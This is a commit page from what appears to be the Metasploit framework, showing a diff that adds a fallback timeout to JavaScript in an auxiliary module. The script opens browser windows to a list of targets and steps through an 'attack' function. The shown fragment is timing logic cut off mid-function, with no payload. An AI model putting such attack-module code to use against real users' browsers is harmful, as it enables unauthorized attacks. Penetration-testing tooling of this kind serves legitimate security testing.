Add a safety fallback on js load.

bug/bundler_fix
Joe Vennix 2014-09-08 00:46:47 -05:00
parent 8407d45c9c
commit 27889ea411
No known key found for this signature in database
GPG Key ID: 127B05FB3E85A2B0
1 changed files with 6 additions and 0 deletions

View File

@ -112,12 +112,18 @@ class Metasploit3 < Msf::Auxiliary
if (!n) {
n = cachedN || randomString();
var w = window.open(target, n);
var deadman = setTimeout(function(){
clearInterval(clear);
clearInterval(clear2);
attack(targets[i], null, i, n);
}, 10000);
var clear = setInterval(function(){
if (received[i]) {
try{ w.stop(); }catch(e){}
try{ w.location='data:text/html,<p>Loading...</p>'; }catch(e){}
clearInterval(clear);
clearInterval(clear2);
clearTimeout(deadman);
if (i < targets.length-1) {
setTimeout(function(){ attack(targets[i+1], null, i+1, n); },100);
} else {